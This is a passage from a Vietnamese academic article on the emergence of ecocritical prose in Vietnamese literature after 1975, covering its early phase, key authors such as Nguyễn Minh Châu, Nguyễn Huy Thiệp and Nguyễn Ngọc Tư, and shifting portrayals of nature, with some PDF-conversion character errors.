thức tác động đến môi trường.
Sự thay đổi đến chóng mặt vì đô thị hóa sẽ dẫn tới những vấn đề về ô
nhiễm môi trường của rác thải sinh hoạt, rác thải công nghiệp… Ngoài ra, để mở
rộng diện tích đô thị, mở rộng các khu công nghiệp… diện tích đất trồng trọt, diện
tích cây xanh cũng bị thu hẹp lại. Sự phát triển của đô thị ở Hà Nội đã xóa sổ nhiều
làng truyền thống ngàn đời như làng hoa Ngọc Hà, làng cốm Vòng, làng rau húng
Láng…, chẳng còn ruộng để rau khúc mọc, chẳng còn không gian để ếch nhái kêu
vang… Sự mất dần của thiên nhiên trong đời sống hiện tại dễ khiến con người cảm
thấy tiếc nuối, đau đớn, bất an hơn trước cái đương đại dang dở này.
Biến đổi khí hậu, khủng hoảng môi trường sinh thái và những vấn đề toàn
cầu hóa trở thành những áp lực rất lớn mà văn chương không thể bỏ qua. Đứng
trước các vấn đề như vậy của đời sống, văn học cũng cần có trách nhiệm với trái
đất đang ngày một kiệt quệ. Bởi vậy, sự thay đổi trong suy nghĩ liên quan đến con
người với môi trường cũng cần được đổi thay từ chính văn học. Khuynh hướng văn
học sinh thái ra đời đã đáp ứng được yêu cầu của thời đại.
2. SỰ HÌNH THÀNH CỦA VĂN XUÔI SINH THÁI SAU NĂM 1975
2.1 Giai đoạn manh nha
Tinh thần của sinh thái hiện đại có lẽ bắt nguồn từ nửa đầu thế kỉ 20, với
cảm quan sầu đô thị, Nguyễn Bính đã có tiếng nói từ khá sớm. Trước đó, Tú Xương
cũng đã từng dự báo “Phố phường chật hẹp người đông đúc/ Bồng bế nhau lên nó
ở non” (Năm mới chúc nhau). Bởi vì, sự tàn phá thiên nhiên chính là từ các công
cuộc đô thị hóa, công nghiệp hóa, điện khí hóa, thủy lợi hóa… của con người.
Trong văn học giai đoạn 1945 – 1975, đã có những mầm mống cho việc xuất
hiện văn học sinh thái. Cội nguồn của nó bắt rễ từ tình yêu với quê hương đất
44
nước: tình yêu với hương cây cỏ nồng nàn (Hương cỏ mật – Đỗ Chu; Mùa hoa doi –
Xuân Quznh…), với những âm thanh giản dị gần gũi (Tiếng gà trưa – Xuân Quznh),
với dòng sông, cánh đồng thân thuộc (Đồng chí – Chính Hữu, Đất nước – Nguyễn
Đình Thi, Những đứa con trong gia đình, Mẹ vắng nhà – Nguyễn Thi, Hòn đất – Anh
Đức, Vườn trong phố – Lưu Quang Vũ…). Dù vậy, vẫn có sự khác biệt nhất định.
Văn học giai đoạn 1945-1975 có nói đến thiên nhiên nhưng chủ yếu để biểu tượng
cho cái sức sống vĩnh hằng bất diệt dẫu cuộc chiến khốc liệt đến thế nào (Vòng
cườm trên cổ chim cu – Chế Lan Viên, Rừng xà nu – Nguyễn Trung Thành…). Văn học
cũng nói đến sự phá hoại của chiến tranh đối với tự nhiên nhưng chủ yếu nghiêng
về tố cáo tội ác của giặc (Cánh đồng hoang – Nguyễn Quang Sáng, Giấc mơ ông lão
vườn chim – Anh Đức, Dấu chân người lính – Nguyễn Minh Châu…). Sinh thái mang
tinh thần hiện đại, vì thế chưa hình thành.
Văn học sau năm 1975 với quán tính của nó, cũng có những sáng tác đi theo
dòng chảy tố cáo tội ác phá hoại thiên nhiên như Miền Cháy – Nguyễn Minh Châu, Lời
hứa của thời gian – Nguyễn Quang Thiều… hay dòng “văn học da cam”: di chứng của
chất độc màu da cam tàn phá môi trường của của chất độc dioxin với những khu rừng
xác xơ trụi lá, những mái đầu rụng hết tóc của các nữ thanh niên xung phong (Người
sót lại của rừng cười – Võ Thị Hảo), những đứa con không rõ hình hài của các cựu
chiến binh (Mười ba bến nước – Sương Nguyệt Minh, Ngọa sinh – Võ Thị Xuân Hà…).
Khi chiến tranh đã lùi xa được một quãng người ta mới nhận ra, không chỉ tổn thất về
người, chất độc dioxin, những vết tích… gây ra những tổn thất về môi trường dài lâu
mà con người chưa thể khắc phục ngay được, những di căn của nó vẫn âm ỉ bào mòn
nhiều thế hệ và âm thầm tàn phá môi trường. Nguyễn Minh Châu mở đầu Chiếc
thuyền ngoài xa bằng một chi tiết nhỏ ít ai để {, như là đặt một cách tình cờ trong
truyện ngắn: “những bãi xe tăng do bọn thiết giáp ngụy vứt lại trên đường rút chạy
hồi “tháng ba bảy nhăm” (bây giờ sau gần mười năm, đã bị hơi nước gặm mòn và làm
cho sét gỉ)” giữa một khung cảnh bãi biển thật nên thơ “thật là phẳng lặng và tươi mát
như da thịt của mùa thu”. Dưới con mắt của phê bình sinh thái, chúng ta nhận thấy
chính chiến tranh với những vết tích sót lại kia đã làm mất đi chỉnh thể đẹp đẽ của bờ
biển, lạc giữa vẻ đẹp trải dài của bãi biển, sự hủy diệt của con người làm cho cảnh thơ
mộng trở nên thô kệch, từ đó dẫn dụ tới một ngụ ý mà tác giả nhắc nhở người nghệ sĩ
về “nghịch lí” của đời sống, bên cạnh cái đẹp thơ mộng là cái hiện thực sần sùi, gai
góc.
45
Để phục vụ chiến tranh, chúng ta phá rừng “chiến tranh xảy ra ngày một ác
liệt… đua nhau đi chặt gỗ làm hầm, cây càng to, càng chắc càng có nhiều thành
tích; nhựa cây – nước mắt rừng, tứa ra thấm đẫm các sườn núi mà người chặt cây
cười nói râm ran vui vẻ như đi hội! Rồi con đường ra trận đi xuyên qua, bom đạn
khoét những cái giếng đỏ sậm loang lổ suốt cả triền núi xanh, cây cối gãy đổ ngổn
ngang như giữa cơn bão dữ” (Thập giá giữa rừng sâu, Nguyễn Khắc Phê). Nhà văn
bắt đầu nhận thấy rằng không chỉ kẻ thù phá hoại sinh thái mà chính chúng ta cũng
góp phần hủy hoại sinh thái, hủy hoại ngôi nhà của chính mình.
Trong văn xuôi sau 1975, nối dài những đề tài viết về chiến tranh, chúng ta
cũng thường gặp hai chủ đề đóng vai trò tạo nên cơ cấu tác phẩm: chiến tranh và đất
đai. Suốt những năm tháng đánh giặc, dù cận kề cái chết, ước mơ của Hòa vẫn hướng
về đồng đất với nỗi trăn trở chế tạo ra chiếc máy cày để bàn tay người mẹ bớt vết
chai. Vì niềm khát vọng cháy bỏng ấy của người yêu đầu mà Qùy đã từ chối tình yêu
thứ hai của cuộc đời mình (với bác sĩ Thương), nguyện làm “thánh nhân” để cứu vớt
cuộc đời Ph., người có khả năng thực hiện tiếp ước mơ dang dở của chàng trai mãi
nằm lại với cỏ xanh ở một góc rừng Trường Sơn (Người đàn bà trên chuyến tàu tốc
hành, Nguyễn Minh Châu). Hôm trước buổi chia tay Thơi ra chiến trường, Lực (Cỏ lau,
Nguyễn Minh Châu) đã cùng vợ vào vùng núi Đợi khai hoang trồng sắn. Nếu không có
chiến tranh, gia đình anh sẽ có cuộc sống lao động bình dị, dù phải vất vả chống chọi
với đất hoang để trồng trọt, với những hạnh phúc đơn sơ, đời thường. Khi chiến tranh
kết thúc, vùng đất đã hoang hóa trở lại. Đi tìm hài cốt đồng đội ở vùng núi Đợi, Lực
nhận thấy cả vùng đất toàn cỏ lau bao phủ. Đó là cái phi nhân loại (nonhuman) tồn tại
đối lập con người (human), vùng cỏ lau mọc lên ấy nhắc chúng ta về sự tồn tại của thế
giới tự nhiên ngoài con người, đó là cái tự nhiên – phi nhân loại. Karen Thornber trong
công trình Sự mơ hồ sinh thái: Khủng hoảng môi trường và văn học các nước Đông Á
(Ecoambiguity: Environmental Crises and East Asian Literatures) đã lấy một ví dụ về
vùng Trecnôbưn, sau khi xảy ra thảm họa hạt nhân, mọi người sợ phóng xạ không ai
đặt chân đến, tạo thành khu vực không có người, nhưng cây cỏ mọc lên đẹp vô cùng.
Cỏ lau ở đây cũng được nhìn bằng con mắt đó, nhất là khi cái phi nhân loại lại được
nuôi dưỡng bằng xác thịt của những người ngã xuống và làm cho con người biến mất
đi (không tìm thấy hài cốt của các liệt sĩ): “Tôi nhẩm đếm số bao ny lông, không khỏi
ghê sợ với những cánh rừng cỏ lau. Đang nằm ngủ im sau lưng tôi là những đồng chí
mình mà chúng tôi phải mở không biết bao nhiêu chiến dịch vật lộn với cỏ lau trong
46
vùng núi Đợi mới dành lại được… Cỏ lau đã nhanh chóng xóa đi mọi dấu vết đã được
đánh dấu trên các tấm sơ đồ mộ chí”. Cỏ lau – cái tự nhiên vĩnh hằng nhắc nhở chúng
ta cảm giác về sự vô nghĩa của chiến tranh: nhiều máu xương đã đổ, rồi biến thành
cây cỏ. Tính chất triết lí của truyện ngắn do vậy thật sâu sắc: con người đã chiến đấu,
đã hi sinh, đã tan biến và bị lãng quên, chỉ còn thiên nhiên vẫn tiếp tục sinh sôi nảy nở,
tồn tại mãi mãi.
2.2 Giai đoạn hình thành ý thức sinh thái
Theo Lawrence Buell, một tác phẩm được cho là viết theo định hướng môi
trường sẽ mang những nội dung chính như sau:
1. Môi trường phi nhân không còn chỉ được nhìn đơn thuần như là một thứ
công cụ làm khung nền cho sự xuất hiện của con người, ngược lại, sự hiện diện của nó
cho thấy lịch sử nhân loại bao giờ cũng có mối liên hệ chặt chẽ với lịch sử tự nhiên. (…)
2. Mức độ quan tâm của con người đối với môi trường là một phần thuộc
giá trị đạo đức của mỗi văn bản. (…)
3. Theo một nghĩa nào đó, môi trường được nhìn như một quá trình, chứ
không phải là một hằng số bất biến hay ít nhất, được cho là một thông điệp ẩn
giấu đằng sau tác phẩm (…)1
Như vậy, chúng tôi cho rằng tác phẩm sinh thái được nhận diện ở dấu hiệu:
Thứ nhất là khi tác phẩm từ bỏ cái nhìn mang tính ẩn dụ về tự nhiên để viết
với ý thức sinh thái. Văn học sinh thái chống lại sự nhân hóa tự nhiên. Khác với các
truyện truyền thống về thế giới tự nhiên, chỉ có một nhân vật xuyên suốt câu
chuyện, chỉ có một tiếng nói cất lên sau hình tượng đó, tiếng nói mà con người phú
cho. Ngược lại, trong các truyện sinh thái, bên cạnh thế giới con người là thế giới
muông thú với những tình cảm, tính cách, cá tính… rất riêng. Tự nhiên có sinh
mệnh độc lập, có địa vị bên ngoài mọi quan niệm của con người.
Thứ hai, “Văn học sinh thái lấy chủ nghĩa chỉnh thể sinh thái làm cơ sở lý
tưởng, lấy lợi ích chỉnh thể của hệ thống sinh thái làm giá trị cao nhất để khảo sát
và biểu hiện mối quan hệ giữa con người với tự nhiên và truy tìm nguồn gốc xã hội
của nguy cơ sinh thái”2
. Thực chất, mối quan hệ giữa con người và sinh thái là mối

1
Buell L. (1995), The Enviromental Imagination: Thoreau, Nature Writing, and the Formation of American
Culture, Harvard University Press, p 7-8
2Nguyễn Thị Tịnh Thy (2014), Sáng tác và phê bình sinh thái – tiềm năng cần khai thác của văn học Việt Nam , Hội
thảo khoa học Phát triển văn học Việt Nam trong bối cảnh đổi mới và hội nhập quốc tế, Viện Văn học
47
quan hệ cộng sinh, do vậy tác phẩm viết về mối quan hệ giữa con người và thiên
nhiên phải có quan điểm sinh thái. Lấy tư tưởng “sinh thái là trung tâm” không
phải là tư tưởng hạ thấp con người mà thực ra lợi ích của sinh thái suy cho cùng
chính là lợi ích bền vững của nhân loại. Vấn đề biến đổi khí hậu, nguy cơ sinh thái
là vấn đề của toàn cầu chứ không phải là vấn đề riêng lẻ của mỗi quốc gia dân tộc.
Thứ ba, cân bằng tự nhiên cũng đảm bảo cho cân bằng xã hội. Đó là lí do vì
sao văn học sinh thái tích hợp với các vấn đề xã hội: giới tính (sinh thái nữ quyền
(ecofeminism), chủng tộc, giai cấp, xã hội (sinh thái hậu thực dân, sinh thái xã hội
(social ecology), sinh thái chủ nghĩa Mác (eco-Marxism)…)
Từ cái nhìn như vậy, nhìn vào văn xuôi sau năm 1975, chúng tôi nhận thấy
đã xuất hiện các chủ đề sinh thái:
Văn học sinh thái truy tìm nguồn gốc của nguy cơ sinh thái. Vì vậy, phê phán
mặt trái văn minh là một đặc điểm nổi bật của khuynh hướng văn học này với hầu
hết các tác phẩm của Nguyễn Minh Châu, Nguyễn Huy Thiệp, Nguyễn Ngọc Tư,
Nguyễn Trí, Sương Nguyệt Minh, Đỗ Nhật Minh, Hoàng Minh Tường, Trần Duy
Phiên, Đỗ Minh Tuấn, Thiên Sơn, Nguyễn Xuân Thủy…
Văn học sinh thái chú trọng đến trách nhiệm của con người đối với tự
nhiên, khẩn thiết kêu gọi bảo vệ vạn vật trong tự nhiên và duy trì cân bằng sinh
thái. Đó là những tác phẩm như Sống mãi với cây xanh – Nguyễn Minh Châu, Thập
giá giữa rừng sâu – Nguyễn Khắc Phê, Thung Mơ – Hà Nguyên Huyến, Khói trời lộng
lẫy – Nguyễn Ngọc Tư, Giải vía – Hà Thị Cẩm Anh…
Văn học sinh thái đưa trách nhiệm của con người đối với tự nhiên thành
định hướng đạo đức chủ yếu. Đạo đức không phải chỉ trong mối quan hệ giữa con
người với nhau mà còn ở chỗ anh ta đối xử với thế giới xung quanh ra sao. Từ đó
nhận diện những mẫu hình nhân cách mới cho chủ nghĩa nhân văn: con người cần
tôn trọng, yêu thương, che chở thế giới tự nhiên, nhìn vào vạn vật để điều chỉnh
đạo đức của mình (Con chó và vụ li hôn – Dạ Ngân, Con thú bị ruồng bỏ – Nguyễn
Dậu, Bà cụ Cần và đàn chim sẻ – Ma Văn Kháng, Biển người mênh mông, Cái nhìn
khắc khoải – Nguyễn Ngọc Tư, Tre hoa nở, “Tí bụi” – Quế Hương, Người trồng địa
lan, Thủy tiên, Tầm lan, Mặc Phúc Xuyên, Tuyệt chiêu – Dương Duy Ngữ…)
Giai đoạn đầu, văn xuôi sinh thái chủ yếu xoay xung quanh biểu hiện những
hoài niệm về những vẻ đẹp thôn quê, “ngược về ngoại ô” để tâm hồn được thanh
thản và bình yên (Nguyễn Quang Thiều, Duy Khán…). Nhưng về sau, các tác phẩm
quan tâm hơn đến các vấn đề xã hội, hướng về đô thị, những vấn đề nảy sinh trong
48
quá trình công nghiệp hóa (Kí sự làng, Phố làng – Đỗ Nhật Minh; Khách đến Nha
Trang, Ngọc đất – Hoàng Minh Tường; Sâm cầm Hồ Tây – Sương Nguyệt Minh, Thánh
thần và bươm bướm – Đỗ Minh Tuấn, Nhắm mắt nhìn trời – Nguyễn Xuân Thủy…);
những bất công nảy sinh từ mối quan hệ giữa con người và tự nhiên (Bãi vàng, Tiền
rừng, Chuyện cũ từ rừng, Màu của bóng tối, Trầm hương… – Nguyễn Trí, Biển và chim
bói cá – Bùi Ngọc Tấn; Đá đỏ – Vũ Thi…); sự liên hệ giữa bất công với phụ nữ và tự
nhiên (Mùi cọp, Mùa săn – Quý Thể; Trăm năm còn lại – Trần Duy Phiên; Lúa hát – Võ
Thị Xuân Hà…)
Về lực lượng sáng tác, văn học sinh thái Việt Nam có lẽ có bước phát triển
nhất định là vào khoảng giữa những năm 1980 đến đầu những năm 1990. Đây là giai
đoạn bắt đầu của công cuộc đổi mới, khởi động của quá trình công nghiệp hóa, hiện
đại hóa nhiều khi đã tàn phá tự nhiên, hi sinh tự nhiên vì mục tiêu phát triển kinh tế.
Nguyễn Minh Châu được coi là “người mở đường tinh anh tài năng nhất”1
,
ngay cả ở việc ý thức rất sớm các vấn đề sinh thái. Bằng nhạy cảm của người cầm
bút, ông viết Một lần đối chứng (1982). Tác giả muốn nhìn đời sống qua con mắt
chính loài vật, như bản chất tự nhiên, hoang dã, bên ngoài mọi tình cảm cao
thượng, trong sáng của con người; ngoài cả những định kiến, { định áp chế như là
từ chối sự áp đặt giản đơn những quy luật đời sống vào quy luật của tạo vật. Việc
“mèo vẫn hoàn mèo” thể hiện “khát vọng khôn cùng muốn nắm bắt tâm hồn muôn
loài” để thấy “Cuộc sống vượt ra ngoài phạm vi của thói quen “tưởng tượng” “liên
tưởng”, “nhân cách hóa” thường tình”2
. Chính cách nhìn này đã giúp Nguyễn Minh
Châu phát hiện ra một hiện thực bề sâu, mở ra chủ đề phát hiện chân lí qua những
chi tiết dường như trái ngược nhưng lại phù hợp theo logic đời sống. Việc tha bổng
con bò Khoang (Phiên chợ Giát) về rừng, nhưng con vật lại quay trở về là một cách
nhìn như thế. Chưa xét đến những biểu tượng đằng sau đó, chỉ tính riêng việc biểu
hiện tập tính của loài vật thì đây là một cái nhìn thấu suốt. Loài vật có lẽ xa lạ với ý
niệm “được thả tự do” của lão Khúng, nó về nhà như là một thói quen của giống
loài, xử sự theo quy luật muôn đời, bất chấp mọi { định cao đẹp, trong sáng của
con người. Tiếp theo là Sống mãi với cây xanh (1983), tác giả đề cập từ rất sớm
“niềm tin pha lẫn âu lo” về tương lai đô thị hóa. Những đề xuất này của Nguyễn
Minh Châu vẫn được các nhà văn viết về đề tài sinh thái tái khẳng định.

1Nguyên Ngọc (2008), Bằng đôi chân trần, NXB Văn nghệ, Tp Hồ Chí Minh, tr 11
2Trần Đình Sử, “Bến quê, một phong cách trần thuật có chiều sâu” trong sách Nguyễn Minh Châu một giọng
văn nhiều trắc ẩn, Thao Nguyễn tuyển chọn (2013), NXB Văn hóa Thông tin, Hà Nội, tr 241
49
Trần Duy Phiên viết Kiến và người (1990) rồi muộn hơn một chút là Mối và
người (1992). Các tác phẩm này công bố trên những trang báo địa phương (Tạp chí
Cửa Việt, Tạp chí Đất Quảng) và có lẽ vì thế nó ít được biết đến, nhưng chúng tôi
cho rằng đây là hai tác phẩm đầu tiên đả phá vào cái duy ý chí, ỷ vào sức mạnh của
khoa học để tàn phá tự nhiên dưới góc nhìn sinh thái: “Một đời bố có thua ai”,
“Bố huênh hoang kì công tạo dựng cơ ngơi”, cậy mình có trí thông minh (cậu Bảy là
kĩ sư, biết vận dụng những thành quả của khoa học kĩ thuật: ánh sáng đèn dụ mối,
xây dựng hệ thống chuồng trại theo một quy trình bài bản, hợp lí để sản xuất theo
dây chuyền chuyên nghiệp vận dụng rất ít sức người). Việc các nhân vật rời phố thị
lên rừng để lập trại chăn nuôi, trồng trọt như là một ẩn dụ cho việc con người đang
ngày càng xâm lấn tự nhiên, dành đất sống của muôn loài, khai thác cạn kiệt tự
nhiên: “Đất này nguyên là giang sơn của mối. Ông Bảy đặt trại, cho máy ủi bằng,
cày nát ụ đống, mồ mả tổ tiên nhà chúng. Đã thế ông còn dùng đèn nhử chúng làm
mồi nuôi gà (…), “Đất rừng của chúng đâu phải của mình”. Đúng như khái quát của
K.Thornber “Một số nhà phê bình sinh thái cũng xem khoa học và công nghệ như
những căn nguyên sâu xa của khủng hoảng sinh thái, vừa hạ bệ tự nhiên xuống
như một đối tượng nghiên cứu và điều khiển bởi một người quan sát bên ngoài,
vừa khuếch đại khả năng của con người làm phá hủy tự nhiên”1
.
Một tác giả khác, người tạo nên “khúc ngoặt” (lời của Lã Nguyên) cho văn
xuôi Việt Nam sau năm 1975 – Nguyễn Huy Thiệp đã đưa ra những triết lí sinh thái
thực sự có chiều sâu. Nếu như thời kì đầu, nhà văn tập trung vào các chủ đề trực
diện của việc tự nhiên trả thù (Sói trả thù, Con thú lớn nhất…), về sau, ông “nghe”
được đòi hỏi sâu kín mà ngày càng bức xúc” của những bất ổn của nông thôn trước
sự xâm lấn của đô thị (Thương nhớ đồng quê, Những bài học nông thôn…). Trong
truyện của ông xuất hiện nhiều nhân vật phản ứng với “văn minh”: Bạc Kì Sinh
(Chuyện tình kể trong đêm mơ) không thích việc người Kinh lên Tây Bắc “khai hóa
văn minh”, “thắp lên ánh sáng văn hóa”; thầy giáo Triệu (Những bài học nông
thôn) than thở về việc “chúng ta đè gí nông thôn bởi thượng tầng kiến trúc với
toàn bộ giấy tờ và toàn bộ khái niệm về nền văn minh”, Doanh (Những người
muôn năm cũ) phỉ báng “kết quả của việc tiếp thu văn minh đô thị… Học vấn và
tiện nghi sẽ làm móng vuốt của nó sắc nhọn ra”… Từ đó, Nguyễn Huy Thiệp “cố
gắng tìm câu trả lời” làm thế nào để sống yên ổn và hạnh phúc. Câu trả lời của nhà

1
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
50
văn gần với ý vị của Thiền và đậm triết lí Lão – Trang: “Hãy để tự nhiên điều chỉnh”
(Sống dễ lắm). Do vậy, tác phẩm của Nguyễn Huy Thiệp ngợi ca những con người
mà số phận của họ gắn với nông thôn như thầy giáo Triệu, bỏ gốc gác thành phố,
về làm thầy giáo làng với niềm tự hào “Mẹ tôi là nông dân, còn tôi sinh ra ở nông
thôn”, là Năng, Nhâm, Minh, Mị… Những nhân vật đó của ông thường là những
thanh niên mới lớn, chớm tuổi dậy thì, điều đó, như là một niềm hi vọng khấp khởi
và đầy lo lắng của ông về tương lai nông thôn chăng? Nhưng Nguyễn Huy Thiệp
không hề ảo tưởng, trang văn của ông trĩu nặng bất an và âu lo. Điều đó, thể hiện
ở cách kết thúc truyện, là cái chết (Những bài học nông thôn, Thương nhớ đồng
quê…), đời tha phương (Những người muôn năm cũ, Chuyện tình kể trong đêm
mưa. Con gái thủy thần…), nỗi đớn đau (Năng bị đánh vào ngực, Chăn trâu cắt cỏ),
và niềm cô độc (Sống dễ lắm)… Nguyễn Huy Thiệp tạo ra một dòng “văn học tự
vấn”1 mà có lẽ bất cứ nhà văn nào ưu tư với cuộc đời này đều mong muốn đi tìm
câu giải đáp về những vẻ đẹp tự nhiên đang dần mai một, về những chất chồng bất
ổn của đô thị hóa…
Sau này, cùng với sự du nhập của các triết lí môi trường hiện đại, những
cảnh báo Việt Nam là một trong năm nước chịu ảnh hưởng của biến đổi khí hậu…
dội vào sáng tác, do vậy văn xuôi sinh thái đã có những tác phẩm đáng ghi nhận
viết trực diện về những vấn đề của văn học và môi trường: Kẻ ám sát cánh đồng,
Nguyễn Quang Thiều; Trăm năm còn lại, Trần Duy Phiên; hai tập truyện ngắn Bãi
vàng đá qu{ trầm hương và Đồ tể, Nguyễn Trí; Sâm cầm Hồ Tây, Nơi hoang dã
đồng vọng, Sương Nguyệt Minh; Chuyến đi cuối năm, Đỗ Chu; Biển và chim bói cá,
Bùi Ngọc Tấn; Gia phả của đất, Ngọc đất, Khách đến Nha Trang, Hoàng Minh
Tường… Văn xuôi sinh thái, từ chỗ lực lượng sáng tác là những nhà văn viết nhiều
chủ đề trong đó có chủ đề sinh thái nay đã có một số nhà văn chuyên tâm hơn với
đề tài (Trần Duy Phiên, Nguyễn Trí, Nguyễn Ngọc Tư…).
Một số tác giả nữ, có thể kể đến như Hà Thị Cẩm Anh (Giải vía, Đối thoại với
bất tử…), Đoàn Lê (Chốn sơn khê, A touris xóm Chùa, Giường đôi xóm Chùa…), Quế
Hương (Tre hoa nở, Tí “bụi”, Cội mai lưu lạc, Những chiếc lá hình giọt lệ…), Dạ Ngân
(Con chó và vụ li hôn), Võ Thị Xuân Hà (Lúa hát, Đàn sẻ ri bay ngang trời…), Đỗ Bích
Thúy (tập truyện ngắn Tiếng đàn môi sau bờ rào đá, tiểu thuyết Bóng của cây sồi),
Trần Thanh Hà (Miền cỏ hoang, Sông ơi…), Hồ Thị Ngọc Hoài (Thung Lam)… đưa đến

1Nguyên Ngọc (2006), Nghĩ dọc đường, NXB Văn nghệ, Tp Hồ Chí Minh, tr 75
51
cho văn xuôi sinh thái Việt Nam nhiều vấn đề mới lạ.
Trong các tác giả trẻ sau 1975 viết về sự nếm trải của con người với những
khủng hoảng môi trường sinh thái, có lẽ Nguyễn Ngọc Tư là nhà văn viết ám ảnh
nhất. Nếu như ở các tập truyện ngắn viết thời kì đầu (Ngọn đèn không tắt, Giao
thừa) chủ yếu xoay xung quanh đề tài tình cảm: những mối tình đầu, tình cha con,
tình mẫu tử… thì về sau, lồng trong câu chuyện là vấn đề thời sự: vấn đề môi
trường. Tư tưởng này có lẽ thể hiện ngay ở cách đặt tên các tập truyện bằng
những hình ảnh gắn liền tự nhiên: Cánh đồng bất tận – thiên nhiên bao giờ cũng
mênh mông, trải dài, bất tận, vĩnh cửu; Gió lẻ – cái đơn độc của thiên nhiên song
hành với sự cô đơn của con người, Khói trời lộng lẫy – những gì thuộc về tự nhiên
đều khoáng đạt, đẹp đẽ, lộng lẫy. Trong tập Khói trời lộng lẫy, những nỗi đau môi
trường trở thành tư tưởng chủ đạo. Hầu hết các nhân vật của Nguyễn Ngọc Tư
sống, lớn lên trên mảnh đất của mình nên họ mang cái nhìn của người trong cuộc,
đứng trước đổi thay, phai nhạt của quê hương mà thấy xót xa, đắng đót. Nguyễn
Ngọc Tư đã nhìn thấy sự phai màu của đất, sự biến mất của tự nhiên tươi đẹp,
những thảm họa thiên nhiên trút xuống… Xâm ngập mặn, mùa nước nổi là một
hiện tượng tự nhiên của vùng đồng bằng sông Cửu Long. Là nhà văn của miền sông
nước, Nguyễn Ngọc Tư phát hiện ra rằng nước được coi là yếu tố quan trọng nhất
cấu thành sự cân bằng sinh thái tự nhiên, thiếu nước là hạn hán nhưng tác giả
cũng phát hiện ra nghịch cảnh “dừng chân bên bờ sông lớn mênh mang, mỉa mai,
người ở đây lại không có nước để dùng” (Cánh đồng bất tận). Tình cảnh thiếu
nước sạch thật tội nghiệp: “Họ đi mua nước ngọt bằng xuồng chèo, nín thở để
nước khỏi sánh ra ngoài… tụt xuống ao tắm táp thứ nước chua lét vì phèn, rồi xối
lại đúng hai gàu. Nước vo cơm dùng để rửa rau, nước rửa rau xong dành rửa cá”.
Điều kiện tự nhiên khắc nghiệt đến nỗi ước sao trước lúc chết “được tắm một bữa
đã đời”. Trong tiểu thuyết Sông, một lần nữa nhà văn nhắc lại tình cảnh ấy: “Bế
lom khom rửa chén, thứ nước sông mà khi nãy cậu thấy chị dùng để nấu cơm, kho
cá, thứ nước cậu đã tè vào và đang tắm táp”. Trong bối cảnh chúng ta đang đặt
vấn đề về “an ninh nước”, phát hiện này của Nguyễn Ngọc Tư quả đã chạm vào
những điều thiết cốt của sinh thái môi trường. Nếu so sánh với Mùa len trâu của
Sơn Nam, cùng miêu tả con người chống chọi như thế nào với mùa nước nổi, thì
điều Sơn Nam muốn khẳng định lại là sự hồi sinh, là cảm hứng về sự trưởng thành
của con người qua gian nan, thử thách trước tự nhiên, còn ở Nguyễn Ngọc Tư lại là
cảm hứng về sự khủng hoảng sinh thái với số phận con người. Nương theo nhân
52
vật, Nguyễn Ngọc Tư đặt ra nhiều vấn đề của môi trường và số phận cá nhân trong
chỉnh thể sinh thái, cảnh báo về tình trạng biến đổi khí hậu hiện diện lên từng số
phận nhân vật, từng nếp nhà, mỗi dòng sông.
Như vậy, sau năm 1975 đã hình thành khuynh hướng văn xuôi sinh thái với
những dấu hiệu: thứ nhất, hình thành các chủ đề sinh thái, ban đầu có thể tản mát,
khuất lấp giữa những đề tài khác, về sau đã thành những chủ đề khá tập trung; thứ
hai, về lực lượng sáng tác, từ chỗ chỉ vài tác phẩm lẻ tẻ văn xuôi sinh thái đã có
những lực lượng sáng tác riêng và đã đạt được những thành tựu đáng kể.
3. NHỮNG THAY ĐỔI TRONG CÁCH THỂ HIỆN MỐI QUAN HỆ GIỮA CON NGƯỜI
VÀ TỰ NHIÊN
Để nhận diện văn học sinh thái, cần đặt nó trong cái nhìn so sánh lịch đại để
tìm ra sự khác biệt. Chúng tôi nhận thấy văn xuôi sinh thái đã hình thành một
khuynh hướng. Có thể nhận diện đặc trưng của văn xuôi sinh thái Việt Nam sau
năm 1975 ở những điểm sau:
3.1 Thay đổi điểm nhìn
Có sự khác biệt về điểm nhìn, các tác giả viết về tự nhiên dưới một cảm
quan mới – cảm quan sinh thái. Sự khác biệt về điểm nhìn đó, dẫn đến sự thay đổi
quan niệm về tự nhiên, vai trò của tự nhiên. Các ước lệ về tự nhiên bị phá vỡ, thay
vào đó là quan niệm về một tự nhiên tự trị, tồn tại bên ngoài con người, không còn
phụ thuộc vào bàn tay con người: tự nhiên có sinh mệnh độc lập
Thiên nhiên trong văn học trước năm 1975 về cơ bản xuất hiện với hai dạng
thức. Thứ nhất, thiên nhiên được nhân cách hóa. Giống như kiểu của truyện cổ
tích loài vật, giải thích một đặc điểm tự nhiên của loài vật (mắt Giếc đỏ hoe vì khóc
nhiều (Mắt Giếc đỏ hoe), giải thích về chiếc mai của rùa (Bài học tốt – Võ Quảng),
hoặc mang dáng dấp của truyện ngụ ngôn: thông qua nhân vật loài vật để rút ra
một bài học triết lí, một nội dung giáo dục (Chuyến đi thứ hai – Võ Quảng, Cái tết
của mèo con – Nguyễn Đình Thi, Cuộc phiêu lưu của Văn Ngan tướng công – Vũ Tú
Nam, Dế Mèn phiêu lưu kí – Tô Hoài… ). Đó là kiểu truyện đồng thoại. Nói chung, ở
dạng thức này, thiên nhiên như là sự ứng chiếu của khách thể (“Mẹ hỏi cây Kơ nia:-
Rễ mày uống nước đâu?- Uống nước nguồn miền Bắc”, Bóng cây Kơ-nia, Ngọc
Anh), thiên nhiên có cùng tiếng nói với con người (“Rừng xà nu ưỡn tấm ngực ra
để che chở cho dân làng”, Rừng xà nu – Nguyễn Trung Thành).
Thứ hai, thiên nhiên xuất hiện như là nền cảnh, là phương tiện để biểu hiện
tính cách, tâm hồn của con người (“Người buồn cảnh có vui đâu bao giờ”), thể hiện
53
khả năng chinh phục tự nhiên như các truyện bắt sấu, bắt rắn, lấy ong mật, giết
heo rừng, đả hổ, đắp đập, hộ đê ngăn sông, chiến thắng biển cả… như Hương rừng
Cà Mau của Sơn Nam, Đất rừng phương Nam của Đoàn Giỏi, Bão biển của Chu
Văn, Đoàn thuyền đánh cá của Huy Cận… Dù biểu hiện khác nhau, văn học trước
năm 1975 viết về tự nhiên chủ yếu là để nói về con người, lấy con người làm
trung tâm để mô tả, biểu hiện, đánh giá tự nhiên.
Tự nhiên trong văn xuôi sau năm 1975 còn mang một cảm hứng khác, đậm
tâm thức đương đại, không phải chỉ là nền cảnh, là cái cớ mà “chúng có sinh mệnh
thật sự”, có số phận, tính cách, tâm hồn… như nhà văn Mạc Ngôn từng phát biểu
“Khi đó tôi bỗng cảm thấy cỏ cây quanh mình, và cả bò dê nữa, đều có thể trò chuyện
